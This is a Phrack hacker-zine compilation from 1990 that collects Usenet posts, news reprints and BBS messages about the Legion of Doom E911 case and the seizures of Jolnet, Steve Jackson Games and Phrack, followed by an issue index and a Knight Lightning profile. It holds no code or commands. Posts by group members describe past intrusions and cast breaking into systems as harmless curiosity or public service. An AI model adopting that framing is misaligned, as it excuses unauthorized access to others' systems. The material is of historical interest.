Wednesday morning, Feb. 28, the offices of Steve Jackson Games, inc., were raided by FBI and Secret Service officials. The establishment was shit down, and all computer systems, including the Illuminati BBS, were confiscated.

At that time, a 'retired' member of the LoD, who was identified as 'The Mentor' was arrested. The charges reportedly are related to the recent 911 bust that has shut down joinet and attatc (or whatever Killerused to be called). His home system was confiscated, complete with an entire collection of "Phrack" issues and related paraphanalia. As of this writing, the Mentor is reportedly out on bail, sans system and network connection. The Illuminati BBS is still down, although SJ Games is back in operation, and no charges have been filed against any of the employees other than The Mentor. The systems owned by SJ Games have not been returned as of this writing.

Finally, rumors were trickling in early this morning (Saturday, 3/4) that two BBS's in Dallas, three in Houston, and one in San Antonio were busted by the same authorites in relation to the same case. [in light of the Mentor's posted defense of the LoD, I kinda thought you'd like to see this one! ‑ OM]

From: telecom@eecs.nwu.edu (TELECOM Moderator)

Newsgroups: comp.dcom.telecom

Subject: Jolnet, Again

Message‑ID: <4701@accuvax.nwu.edu>

Date: 4 Mar 90 02:45:00 GMT

Sender: news@accuvax.nwu.edu

Organization: TELECOM Digest

Lines: 350

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Special: Jolnet, Again

TELECOM Digest Sat, 3 Mar 90 20:45:00 CST Special: Jolnet, Again

Today's Topics: Moderator: Patrick Townson

Re: AT&T Sourcecode: Poison! (Chip Rosenthal)

Jolnet Seizure (Mike Riddle)

Article Regarding JOLNET/e911/LoD/Phrack (Ben Rooney)

A Conversation With Rich Andrews (TELECOM Moderator) Killer/attctc Permanently Down (Charlie Boykin)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: Chip Rosenthal <chip@chinacat.lonestar.org>

Subject: Re: AT&T Sourcecode: Poison!

Date: 3 Mar 90 00:00:00 GMT

Organization: Unicom Systems Development, Austin (yay!) [Moderator's Note: Original date of 2/25 changed to prevent premature expiration. PT]

You've got a lot of nerve, Patrick.

telecom@eecs.nwu.edu (TELECOM Moderator) writes:

>We're told by a deep‑throat type that AT&T is on the war path about >their software [...] Like jolnet, netsys went down abruptly, with >*everything* confiscated [...] Now comes news that attcdc [sic], formerly >known as killer went off line in a hurry.....

Yessir, after all your complaints about that about anonymous Legion of Doom message, this is a really crummy thing to post. Based upon unattributed conversations, you imply that Len Rose and Charlie Boykin were involved in wrongdoing which lead to the shutdown of their systems.

I don't know Len personally, but have had uucp connections with him in the past. Charlie, on the other hand, I do know personally. He is very well regarded in the Dallas/Fort Worth area, and was voted "1989 DFW Administrator of the Year" by the DFW lunch‑bunch...errr....DFW Association of Unix System Administrators.

You have cast some crummy aspersions towards these guys. Since I know them, I will wait for the facts to come in. Others who don't know them could very well jump to conclusions on the basis of this posting. Was this message really called for?

Chip Rosenthal | Yes, you're a happy man and you're

chip@chinacat.Lonestar.ORG | a lucky man, but are you a smart Unicom Systems Development, 512‑482‑8260 | man? ‑David Bromberg

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Date: Wed, 28 Feb 90 21:38:39 EST

From: Mike Riddle <Mike.Riddle@p6.f666.n5010.z1.fidonet.org> Subject: Jolnet Seizure

Reply‑to: Mike.Riddle@p6.f666.n285.z1.fidonet.org

Organization: DRBBS Technical BBS, Omaha, Ne. 402‑896‑3537

Has anyone tried a novel legal approach to the case of equipment seizure as "evidence"? As I remember the Electronic Communications Privacy Act, it contains specific procedures for authorities to obtain copies/listings of data on a system (which system may have been used for illegal purposes, but whose operator is not at the moment charged). From this I think a creative attorney could construct an argument that the national policy was not to seize equipment, merely to obtain all the information contained therein. After all, it's the data that caused any harm.

Also, the Federal Rules of Evidence, and most state rules, provide that computer generated copies are "originals" for evidentiary purposes.

I hope that someone close enough to the scene can keep us informed about what is happening on this one.

{standard disclaimer goes here‑‑don't pay any attention to me!} ‑‑‑ Ybbat (DRBBS) 8.9 v. 3.07 r.1

* Origin: [1:285/666.6@fidonet] The Inns of Court, Papillion, NE (285/666.6) ‑‑‑ Through FidoNet gateway node 1:16/390 Mike.Riddle@p6.f666.n5010.z1.fidonet.org

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: brooney@sirius.uvic.ca

Date: 3 Mar 90 2:36 ‑0800

Subject: Article Regarding JOLNET/e911/LoD/Phrack

The following is an article I received five days ago which contains, to my knowledge, information as yet unpublished in comp.dcom.telecom regarding the ongoing JOLNET/e911/LoD discussion. It was printed in a weekly magazine with a publishing date of Feb. 27 but other than that I have no exact idea of when the events mentioned herein took place.

‑ Ben Rooney

MISSOURI STUDENT PLEADS INNOCENT TO 911 CHARGES

[Knight Lightning], a 19‑year‑old University of Missouri student, has pleaded not guilty to federal allegations that he invaded the 911 emergency phone network for 9 states.

As reported earlier, he was indicted this month along with [The Prophet], 20, of Decatur, Ga. Both are charged with interstate transportation of stolen property, wire fraud, and violations of the federal Computer Fraud and Abuse Act of 1986.

Prosecutors contend the two used computers to enter the 911 system of Atlanta's Bell South, then copied the program that controls and maintains the system. The stolen material later allegedly was published on a computer bulletin board system operating in the Chicago suburb of Lockport. Authorities contend Neidorf edited the data for an electronic publication known as "Phrack."

According to Associated Press writer Sarah Nordgren, in a recent hearing on the case Assistant U.S. Attorney William Cook was granted a motion to prevent the 911 program from becoming part of the public record during the trial. U.S. District Judge Nicholas Bua set April 16 for a trial.

The 911 system in question controls emergency calls to police, fire, ambulance and emergency services in cities in Alabama, Mississippi, Georgia, Tennessee, Kentucky, Louisiana, North Carolina, South Carolina and Florida.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Article from "A Networker's Journal" by Charles Bowen. Info‑Mat Magazine (Vol. 6, No. 2)

[Moderator's Note: {Info‑Mat Magazine}, by the way, is the excellent electronic journal distributed on many BBS machines throughout the United States who are fortunate enough to be accepted as part of the magazine's distribution network. I personally wish it was distributed on Usenet as well: it is well written and very informative. PT]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Date: Sat, 3 Mar 90 19:34:54 CST

From: TELECOM Moderator <telecom@eecs.nwu.edu>

Subject: A Conversation With Rich Andrews

After the first articles appeared here relating to the seizure of Jolnet, and the indictment of some people for their part in the theft of '911 software', I got various messages from other folks in response. Some were published, while others were just personal correspondence to me. One from Chip Rosenthal was held over, and is included in this special issue today.

One writer, whose comments were attributed to 'Deep Throat' spent some time on two occassions on the phone, in a conference call between himself, David Tamkin and myself.

What was lacking in the several messages which appeared over the past week were comments from Rich Andrews, system administrator of Jolnet. I got one note from someone in Canada who said Andrews wanted to speak with me, and giving a phone number where I could call Andrews at his place of employment.

I put in a call there, with David Tamkin on the other line and had a long discussion with Andrews, who was aware of David being on the line with me. I asked Andrews if he had any sort of net access available to him at all ‑‑ even a terminal and modem, plus an account on some site which could forward his mail to telecom. You see, I thought, and still think it is extremely important to include Rich Andrews in any discussion here.

He assured me he did have an account on a Chicago area machine, and that a reply would be forthcoming within hours. I had a second conversation with him the next morning, but without David on the line. He again told me he would have a response to the several articles written in the Digest ready and in the email 'very soon'. This was on Wednesday morning, and we estimated his message would be here sometime later in the day ‑‑ certainly by midnight or so, when I am typically working up an issue of the Digest.

Midnight came and went with no message. None showed up Thursday or Friday. I deliberatly withheld saying anything further in the hopes his reply would be here to include at the same time. I guess at this point we have to go on without him.

When David Tamkin and I talked to him the first time, on Tuesday evening this past week, the first thing Andrews said to us, after the usual opening greetings and chitchat was,

"I've been cooperating with them for over a year now. I assume you know that."

We asked him to define 'them'. His response was that 'them' was the United States Secret Service, and the Federal Bureau of Investigation. He said this without us even asking him if he was doing so.

We asked him to tell us about the raid on his home early in February. He said the agents showed up that Saturday afternoon with a warrant, and took everything away as 'evidence' to be used in a criminal prosecution.

ME> "If you have been working and cooperating with them for this long, why did they take your stuff?"

RA> "They wanted to be sure it would be safe, and that nothing would be destroyed."

ME> "But if you wanted to simply keep files safe, you could have taken Jolnet off line for a few weeks/months by unplugging the modems from the phone jacks, no? Then, plugged in a line when you wanted to call or have a trusted person call you."

RA> "They thought it was better to take it all with them. It was mostly for appearance sake. They are not charging me with anything."

ME> "Seems like a funny way to treat a cooperative citizen, at least one who is not in some deep mess himself."

He admitted to us that several crackers had accounts on Jolnet, with his knowledge and consent, and that it was all part of the investigation going on ... the investigation he was cooperating in.

Here is how he told the tale of the '911 software':

The software showed up on his system one day, almost two years ago. It came to him from netsys, where Len Rose was the sysadmin. According to Andrews, when he saw this file, and realized what it was, he knew the thing to do was to 'get it to the proper authorities as soon as possible', so he chose to do that by transferring it to the machine then known as killer, a/k/a attctc, where Charlie Boykin was the sysadmin.

Andrews said he sent it to Boykin with a request that Boykin pass it along to the proper people at AT&T.

ME> "After you passed it along to Boykin, did you then destroy the file and get it off your site?"

RA> "Well, no... I kept a copy also."

ME> "Did Charlie Boykin pass it along to AT&T as you had requested?" RA> "I assume he did."

But then, said Andrews, a funny thing happened several months later. The folks at AT&T, instead of being grateful for the return of their software came back to Andrews to (in his words) 'ask for it again.' Somehow, they either never got it the first time; got it but suspected there were still copies of it out; or were just plain confused.

So he was contacted by the feds about a year ago, and it was at that point he decided it was in his best interest to cooperate with any investigation going on.

Andrews pointed out that the '911 software' was really just ".... a small part of what this is all about..." He said there was other proprietary information going around that should not be circulating. He said also the feds were particularly concerned by the large number of break‑ins on computers which had occurred in the past year or so. He said there have been literally "....thousands of attempts to break into sites in the past year....", and part of his cooperation with the authorities at this time dealt with information on that part of it. We asked him about killer/attctc:

ME> "You knew of course that killer went off line very abruptly about a week ago. What caused that? It happened a week or so after the feds raided you that Saturday."

RA> "Well the official reason given by AT&T was lack of funds, but you know how that goes...."

Now you'd think, wouldn't you, that if it was a funding problem ‑‑ if you can imagine AT&T not having the loose change in its corporate pocket it took to provide electrical power and phone lines to attctc (Charlie got no salary for running it) ‑‑ that at least an orderly transition would have taken place; i.e. an announcement to the net; an opportunity to distribute new maps for mail and news distribution, etc; and some forthcoming shut down date ‑‑ let's say March 1, or April 1, or the end of the fiscal year, or something....

But oh, no... crash boom, one day it is up, the next day it is gone. ME> "What do you know about the temporary suspension of killer some time ago? What was that all about?"

RA> "It was a security thing. AT&T Security was investigating Charlie and some of the users then."

Andrews referred to the previous shutdown of killer as 'a real blunder by AT&T', but it is unclear to me why he feels that way.

We concluded our conversation by Andrews noting that "there is a lot happening out there right now."

He said the [Phrack] magazine distribution, via netsys, attctc and jolnet was under close review. "One way to get them (crackers) is by shutting down the sites they use to distribute stuff..."

And now, dear reader, you know everything I know on the subject. Well, almost everything, anyway....

From other sources we know that Len Rose of netsys was in deep trouble with the law *before* this latest scandal. How deep? Like he was ready to leave the country and go to the other side of the world maybe? Like he was in his car driving on the expressway when they pulled him over, stopped the car and placed him under arrest? Deep enough? This latest thing simply compounded his legal problems. Patrick Townson

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Date: Fri Mar 2 06:59:23 1990

From: Charlie Boykin <cfb@sulaco.sigma.com>

Subject: Killer/attctc Is Permanently Down

Hello,

Regarding a couple of things as well as a message from Bill Huttig. The system WAS shut down a couple of years ago ‑ for three weeks as part of a security inquiry. It has been in continous operation since. On July 4, 1989, it was moved to a Customer Demonstration location at the Dallas Infomart and the node name changed to attctc (for AT&T Customer Technology Center). The system was closed down on February 20, 1990 after 5 years of operation. There are no charges pending and the "management" of the system have been ostensibly cleared of any illegal activities.

As of now, there are no intentions of returning the system to service. There are hopeful plans and proposals that could conceivably result in the system being placed back in service in a different environment and under different management.

Respectfully,

Charles F. Boykin

Formerly sysop\@attctc (killer)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

End of TELECOM Digest Special: Jolnet, Again

******************************

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[reprinted without permission from the Feb. 12th, 1990 issue of Telephony] ALLEGED HACKERS CHARGED WITH THEFT OF 911 DATA

Dawn Bushaus, Assistant Editor

Four alleged computer hackers were indicted last week on charges that they schemed to steal and publish proprietary BellSouth Corp. emergency data. The alleged activity could have produced disruptions in 911 networks nationwide, according to federal officials.

The case could raise new concerns about the security of local exchange carriers' internal computer networks, which house data records on customers, equipment and operations.

"Security has always been a concern for the telephone companies," said Peter Bernstein, an analyst with Probe Research. "If you can crack the 911 system, what does that say about the operational support system or the billing system?"

A federal grand jury in Chicago handed down two indictments charging [The Prophet], 20, of Decatur, Ga., and [Knight Lightning], 19, of Chesterfield, Mo., with wire fraud, violations of the 1986 Computer Fraud Act and interstate transportation of stolen property.

Facing similar criminal charges in Atlanta are [The Urvile], 22, and [The Leftist], 23.

The four, alleged to be part of a closely knit group of hackers calling themselves the Legion of Doom, reportedly participated in a scheme to steal the BellSouth 911 data, valued at $80,000, and publish it in a hacker magazine known as "Phrack."

The Legion of Doom reportedly is known for entering telephone companies' central office switches to reroute calls, stealing computer data and giving information about accessing computers to fellow hackers. According to the Chicago indictment, XXXXX, also known as "The Prophet," stole a copy of the BellSouth 911 program by using a computer outside the company to tap into the BellSouth computer. Riggs then allegedly transferred the data to a computer bulletin board in Lockport, Ill. XXXXXXX, also known as "Knight Lightning," reportedly downloaded the information into his computer at the University of Missouri, Columbia, where he edited it for publication in the hacker magazine, the indictment said. The indictment also charges that the hackers disclosed the stolen information about the operation of the enhanced 911 system to other hackers so that they could illegally access the system and potentially disrupt or halt other systems across the country.

The indictments followed a year‑long investigation, according to U.S. Attorney Ira Raphaelson. If convicted, the alleged hackers face 31 to 32 years in prison and $122,000 in fines.

A BellSouth spokesman said the company's security system discovered the intrusion, which occurred about a year ago, and the company then notified federal authorities.

Hacker invasion in the BellSouth network is very rare, the spokesman said, adding that the company favors "stringent laws on the matter." The indictment solicited concern about the vulnerability of the public network to computer hacking.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

From: MM02885@swtexas.bitnet

Newsgroups: comp.dcom.telecom

Subject: Re: Hacker Group Accused of Scheme Against BellSouth Message‑ID: <4153@accuvax.nwu.edu>

Date: 20 Feb 90 11:16:00 GMT

Sender: news@accuvax.nwu.edu

Organization: TELECOM Digest

Lines: 95

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Volume 10, Issue 118, message 3 of 6 <<< SYS$ANCILLARY:[NOTES$LIBRARY]GENERAL.NOTE;1 >>>

‑< General Discussion >‑

========================================

Note 155.6 the MENTOR of the tree tops 6 of 6 SWT::RR02026 "Ray Renteria [ F L A T L I N E ] " 89 lines 20‑FEB‑1990 00:18 ‑< Life, The Universe, & LOD >‑

To set the record straight, a member of LOD who is a student in Austin and who has had his computer account at UT subpoenaed by the DA out of Chicago because of dealings with the above happenings:

My name is Chris, but to the computer world, I am Erik Bloodaxe. I have been a member of the group known as Legion of Doom since its creation, and admittedly I have not been the most legitimate computer user around, but when people start hinting at my supposed Communist‑backed actions, and say that I am involved in a world‑wide consipracy to destroy the nations computer and/or 911 network, I have to speak up and hope that people will take what I have to say seriously.

Frank, Rob and Adam were all definately into really hairy systems. They had basically total control of a packet‑switched network owned by Southern Bell (SBDN)...through this network they had access to every computer Southern Bell owned...this ranging from COSMOS terminals up to LMOS front ends. Southern Bell had not been smart enough to disallow connections from one public pad to another, thus allowing anyone who desired to do so, the ability to connect to, and seize information from anyone else who was using the network...thus they ended up with accounts and passwords to a great deal of systems. This was where the 911 system came into play. I don't know if this system actually controlled the whole Southern Bell 911 network, or if it was just a site where the software was being developed, as I was never on it. In any case, one of the trio ended up pulling files off of it for them to look at. This is usually standard proceedure: you get on a system, look around for interesting text, buffer it, and maybe print it out for posterity. No member of LOD has ever (to my knowledge) broken into another system and used any information gained from it for personal gain of any kind...with the exception of maybe a big boost in his reputation around the underground. Rob took the documentation to the system and wrote a file about it. There are actually two files, one is an overview, the other is a glossary. (Ray has the issue of PHRACK that has the files) The information is hardly something anyone could possibly gain anything from except knowledge about how a certain aspect of the telephone company works.

The Legion of Doom used to publish an electronic magazine called the LOD Technical Journal. This publication was kind of abandoned due to laziness on our part. PHRACK was another publication of this sort, sent to several hundred people over the Internet, and distributed widely on bulletin boards around the US. Rob sent the files to PHRACK for the information to be read. One of PHRACK's editors, Craig, happened to be the one who received the files. If Rob had sent the files to one address higher, Randy would have been the one who would probably be in trouble. In anycase, Craig, although he may have suspected, really had no way to know that the files were propriatary information and were stolen from a Southern Bell computer.

The three Atlanta people were busted after having voice and data taps on their lines for 6 months. The Phrack people were not busted, only questioned, and Craig was indicted later.

What I don't understand is why Rob and Craig are singled out more often than any other people. Both of them were on probation for other incidents and will probably end up in jail due to probation violations now. Frank and Adam still don't know what is going on with their cases, as of the last time I spoke with them.

The whole bust stemmed from another person being raided and rolling over on the biggest names he could think of to lighten his burden. Since that time, Mr. William Cook, the DA in Chicago, has made it his life's goal to rid the world of the scourge of LOD. The three Atlanta busts, two more LOD busts in New York, and now, my Subpoena. People just can't seem to grasp the fact that a group of 20 year old kids just might know a little more than they do, and rather than make good use of us, they would rather just lock us away and keep on letting things pass by them. I've said this before, you cant stop burglars from robbing you when you leave the doors unlocked and merely bash them in the head with baseball bats when they walk in. You need to lock the door. But when you leave the doors open, but lock up the people who can close them for you another burglar will just walk right in.

If anyone really wants to know anything about what is going on or just wants to offer any opinions about all this directly to me, I'm erikb@walt.cc.utexas.edu

but my account is being monitored so don't ask anything too explicit. ‑>ME

‑‑‑‑‑‑‑‑‑‑‑

Well, as some of you may already know, the people that put out Phrack were busted recently. Up until now, details were scarce, but things are starting to appear in the news.

[reprinted without permission from the Milwaukee Journal Wed. Feb. 7th] Chicago, Ill. ‑ AP ‑ A computer hacker broke into the 911 emergency telephone network covering nine states in the South and another intruder passed on the access data to other hackers, authorities said. [The Prophet], 20, of Decatur, GA., and [Knight Lightning], 19, of Chesterfield, MO., were indicted Tuesday by

a federal grand jury and accused of computer crimes, said acting US Atty. Ira H. Raphaelson.

He said Riggs was a member of the so‑called Legion of Doom hackers group, whose members are involved in numerous illegal activities. Riggs and two other alleged members also were indicted in Atlanta and charged in other computer break‑ins.

The government would not say if any emergency calls were disrupted or whether other damage was done during the tampering.

‑‑‑‑‑‑‑‑‑‑‑‑

Name: The Prophet #104

Date: Tue Feb 06 23:55:15 1990

Imagine that you're deaf, dumb, blind, and paralyzed from the neck down and totally unable to experience or communicate with the outside world. How long could you retain your sanity? How many of you would choose to die instead? How many of you think you could muster the willpower to create your own little mental world to live in for the rest of your life, and how long do you think the hospital would wait before putting you out of your misery? ‑The Prophet

‑‑‑‑‑‑‑‑‑‑‑‑

Name: The Mentor #1

Date: Sat Jan 20 02:58:54 1990

Welp, Phrack magazine is dead. Those of you who pay attention to BITNET know that the phrack accounts at U of M have been shut down. The story is as follows...

Government agents (not sure of the dept., probably SS) have apparently been monitoring the e‑mail of the Phrack kids (Knight Lightning & Taran King) for some time now. Apparently, a portion of a file sent to them (and subsequently published) contained copyrighted information. This is all they needed. They have now seized the entire Phrack net mailing list (over 500 accounts), plust every piece of information that Randy & Craig have (and they have a *LOT*) on real names, addresses and phone numbers.

This is evolving directly out of the busts of three LOD members (Urvile, Leftist & Prophet). The Prophet (who is on probation) is apparently being threatened with a prison term if he doesn't cooperate. We don't know for sure if he cooperated or not, but what would you do in the same position? The same officials are apparently *VERY* interested in our co‑sys, Mr. Bloodaxe. His net account is being watched, etc. I'll let him tell the story. board only. I will be adding a secure (and I mean fucking secure) encryption routine into the e‑mail in the next 2 weeks ‑ I haven't decided exactly how to implement it, but it'll let two people exchange mail encrypted by a password only know to the two of them. Hmmmm... carry this conversation to the programming board.

Anyway, I do not think I am due to be busted, but then again, I don't do anything but run a board. Still, there is that possibility. I assume that my lines are all tapped until proven otherwise.

There is some question to the wisdom of leaving the board up at all, but I hae (have) personally phoned several government investigators and invited them to join us here on the board. If I begin to feel that the board is putting me in any kind of danger, I'll pull it down with no notice ‑ I hope everyone understands.

It looks like it's sweeps‑time again for the feds. Let's hope all of us are still around in 6 months to talk about it.

The Mentor

Legion of Doom!

[Phoenix Project has been down for some time now.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Newsgroups: comp.dcom.telecom

Subject: The Purpose and Intent of the Legion of Doom

Message‑ID: <4248@accuvax.nwu.edu>

From: anytown!legion@cs.utexas.edu (Legion of Doom)

Date: 22 Feb 90 04:42:04 GMT

Sender: news@accuvax.nwu.edu

Organization: Anytown USA

Approved: Telecom@eecs.nwu.edu

X‑Submissions‑To: telecom@eecs.nwu.edu

X‑Administrivia‑To: telecom‑request@eecs.nwu.edu

X‑Telecom‑Digest: Volume 10, Issue 121, message 4 of 5

Lines: 51

[Moderator's Note: This anonymous message came in the mail today. PT] Well, I had to speak up. There has been a lot of frothing (mostly by people who believe everything that they read in the paper) about Legion of Doom. I have been involved in the group since 1987, and dislike seeing irresponsible press concerning our "plot to crash 911" or our "links to organized crime."

LOD was formed to bring together the best minds from the computer underground ‑ not to do any damage or for personal profit, but to share experiences and discuss computing. The group has *always* maintained the highest ethical standards of hacker (or "cracker," as you prefer) ethics. On many occasions, we have acted to prevent abuse of systems that were *dangerous* to be out ‑ from government systems to Easter Seals systems. I have known the people involved in this 911 case for many years, and there was *absolutely* no intent to interfere with or molest the 911 system in any manner. While we have occasionally entered a computer that we weren't supposed to be in, it is grounds for expulsion from the group and social ostracism to do any damage to a system or to attempt to commit fraud for personal profit. The biggest crime that has been committed is that of curiosity. Kim, your 911 system is safe (from us, at least). We have been instrumental in closing many security holes in the past, and had hoped to continue to do so in the future. The list of computer security people who count us as allies is long, but must remain anonymous. If any of them choose to identify themselves, we would appreciate the support.

I am among the people who no longer count themselves as "active" members of the group. I have been "retired" for well over a year. But I continue to talk to active members daily, and support the group through this network feed, which is mail‑routed to other LODers, both active and accessible.

Anyone who has any questions is welcome to mail us ‑ you'll find us friendly, although a bit wary. We will also be glad to talk voice with anyone if they wish to arrange a time to call. In spite of all the media garbage, we consider ourselves an ethical, positive force in computing and computer security. We hope others will as well.

The Mentor/Legion of Doom

legion%anytown.uucp@cs.utexas.edu

[Moderator's Note: As an 'ethical, positive force in computing', why can't you sign your name to messages such as the above? Usually I don't even consider anonymous messages for publication in the Digest; but your organization has a perfect right to tell your side of the story, and I am derelict if I don't print it. Real names and addresses go a long way toward closing credibility gaps here. PT]

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

There you go. It's over now, forget it and move on. Nothing more to report on the subject that hasn't been printed, typed, spoken, or heard in the last couple of months.

________________________________________

Phrack 31 ‑ .end

32

- Phrack Classic XXXII Index by Crimson Death

- Phrack Classic Spotlight featuring Knight Lightning by Crimson Death & Knight Lightning

- Concerning Hackers Who Break Into Computer Systems by Dorthy Denning

- The Art of Investigation by The Butler

- Unix 'Nasties' by Sir Hackalot

- Automatic Teller Machine Cards by Jester Sluggo

- A Trip to the NCSC by Knight Lightning

- Inside the SYSUAF.DAT File by Pain Hertz

- RSTS by Crimson Death

- Knight Line I Part 1 by Doc Holiday

- Knight Line I Part 2 by Doc Holiday

- Knight Line I Part 3 by Doc Holiday

Phrack Classic XXXII Index

==Phrack Classic==

Volume Three, Issue 32, File #1 of XX

Phrack Classic Newsletter Issue XXXII Index

%%%%%%%%%%%%%%%%%%%%%%

November 17, 1990

Over the past year we have seen MANY changes in the Phreak/Hack community. We felt the heat of Operation Sun Devil, watched are friends become public scapegoats of the 'hacker world', and watched in anger as the lawyers have tried to smash us and put us out like an old cigarette. Almost everyday I hear about someone who just got 'busted' for one reason or another. This makes me sit back and think. If people go to jail for hacking, and hackers know this, then why does it continue? Ahhh... an unsolved mystery. Maybe I should call Time Life Books. No, I don't think so.

Anyways, I am pleased to announce a new era in electronic publications. A new age for a new age. Ladies and gentleman (Trumpet Fanfare Added Here), Phrack Classic. Phrack Classic takes off where Phrack left off. For those of you who have read Phrack then you might remember me as the editor for a while. Well, now I am doing Phrack Classic to try to release a newsletter that really describes what the Phreak/Hack world is like here in the 1990's. People ask me why I am writing a hacker magazine, and they look down on me for my attempt. I feel Phrack Classic is written for hackers, yes, but I also feel that a hacker is one "who enjoys pushing the envelope, bypassing limits, discovering knowledge, inventing solutions, <and> adventuring into uncharted areas." So is it so wrong to publish a newsletter for the exchange of free information? No, I don't think so.

Anyone is welcome to submit an article for Phrack Classic, and I encourage everyone to do so. I hope you enjoy this issue and I look forward to bringing you many more in the not so distant future. Stay safe and be free. See you at Ho Ho Con!

Crimson Death

Editor of Phrack Classic

(Quote taken from the Hackers 6.0 Conference Brochure)

If you have a question, an article submission, or you just wanna say hello. Send mail to Crimson Death and Doc Holiday at:

pc@well.uucp

________________________________________

Table of Contents:

1. Phrack Classic XXXII Index by Crimson Death

2. Phrack Classic Spotlight featuring Knight Lightning by Crimson Death 3. Concerning Hackers Who Break Into Computer Systems by Dorthy Denning 4. The Art of Investigation by Butler

5. Unix 'Nasties' by Sir Hackalot

6. Automatic Teller Machine Cards by Jester Sluggo

7. A Trip to the NCSC by Knight Lightning

8. Inside the SYSUAF.DAT File by Pain Hertz

9. RSTS by Crimson Death

10‑12. Knight Line I/Parts 1‑3 by Doc Holiday

Phrack Classic Spotlight featuring Knight Lightning

==Phrack Classic==

Volume Three, Issue 32, File #2 of 12

==Phrack Classic Spotlight==

Knight Lightning

~~~~~~~~~

Personal

~~~~~~~

Handle: Knight Lightning Call him: Craig Neidorf Past handles: None

Handle origin: Cross between character "Lightning Lad" from DC Comics' Legion of Superheros and Michael Knight from the NBC television series "Knight Rider". Date of Birth: I doubt you're sending me a birthday card so skip it. Age at current date: 21 years old

Height: 5'10" or so (give or take an inch) Weight: 135‑140 lbs.

Eye color: Brown

Hair Color: Dark Brown

Computers: Apple IIc (Do you believe this?) Co‑Sysop of: Metal Shop Private, The Brewery, Quick Shop/Metal Shop AE, Whackoland, The Dark Tower, Digital ITS (yay!), Stronghold East and probably a few more I've forgotten about.

Net address: C483307@UMCVMB.MISSOURI.EDU (Yes, they actually gave C483307@UMCVMB.BITNET me my account back!) knight@well.sf.ca.us

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For several years I had been a die hard fan of video games, both arcade and home versions. It was really the Atari 2600 video game Adventure that led me into the world of computers and hacking. As many people might know there was a secret locked within this game concerning a "magic" dot. It was not mentioned in any instruction manuals for the game, but if you could find it and bring it to the right place in the game, you could enter a room that didn't officially exist. In this room was a message flashing in gold and black. It said "Created by Warren Robinet". From that point on I experimented with every Atari cartridge I had. I tried screwing around with the connections, the components on the system itself, and I attempted bizarre tactics within the games, just to see what might happen. During that period of time I found several more secretly implanted messages and developed new ways of playing the games. Atari played on this idea quite a bit when they created a four game saga called Swordquest, but by then the fun was taken out of it because you knew already that something was waiting to be found. Eventually I upgraded to ColecoVision, but before too long this bored me as well. It is sort of interesting to see the new surge of home videogames of Nintendo, NEC, and Sega. It makes me wonder if this cycle is permanent.

I was first introduced to the world of computers by a friend who had a Commodore 64. He showed me what bulletin boards were and then took me on a tour of the ARPAnet. Later that year, my long‑time and best friend, known to most of you as Taran King obtained the use of his father's IBM PC. Together we explored various bulletin boards in the St. Louis area, always looking for new places to visit.

In August of 1983 I received an Apple IIc as a birthday gift from my parents. It was real basic ‑‑ no monitor (I had a black and white television for that), no extra disk drive, no printer, no joystick, and no modem. Those items I would have to earn. So instead of playing with faraway computer systems, I was introduced to programming and a community of people who considered themselves to be software pirates. These people seemed to be able to get software before the companies even began to sell it. However, I was content to play games like Ultima III and Wizardry and hack the game itself by altering character values. This enabled me to move my characters through different places, some of which I never might have realized existed. Later, I was able to redesign the game itself to create an endless world of new possibilities for intellectual stimulation.

Finally in March of 1984, my parents purchased me a modem. It was a sad little piece of plastic made by Volksmodem, 300 baud and battery operated, but it worked and now Knight Lightning was ready to take to the wires. By this time I already knew a lot about the bulletin board community through Taran King. Even so, it was relatively odd how fast I became co‑sysop of the ancestor to Metal Shop known as The Dark Tower. TDT was operated by a "hacker" with the truly unoriginal name of David Lightman. Before I knew it, I was in remote command of his system with full power over user validation and BBS maintenance. Although the system went down after about six months, it did attract a few out of state users and it was here that my notoriety began. It was almost funny, but even as early as then Taran King, Forest Ranger, and I became known as the top hacker/phreakers in the St. Louis area. To this day I still don't understand why.

By July of 1985 most of the hacker bulletin boards in St. Louis had disappeared, but The Dark Tower program lived again when Taran King created Metal Shop: The Dark Tower Phase II. He took the name from a popular afternoon rock'n roll program (KSHE FM radio) that centered on heavy metal. Both of us had visited systems around the country and we were able to effectively advertise MS. At one point we had over 500 registered users so we switched to a general password system for security reasons and eventually in January of 1986 the board became Metal Shop Private and we cut 4/5ths of the users.

During the late Spring and early Summer of 1985 Taran King and I created the 2600 Club. It was just a group name to stick behind our handles since everybody was doing it, but it only took use a few months to realize just how ignorant hacker groups really are. However, the 2600 Club had one great legacy ‑‑ it gave birth to Phrack. If you go back and look, you'll notice that the first issue of Phrack was a product of the 2600 Club. The idea for doing Phrack came from Forest Ranger. Taran King provided the arena and would be the editor and I came up with the name.

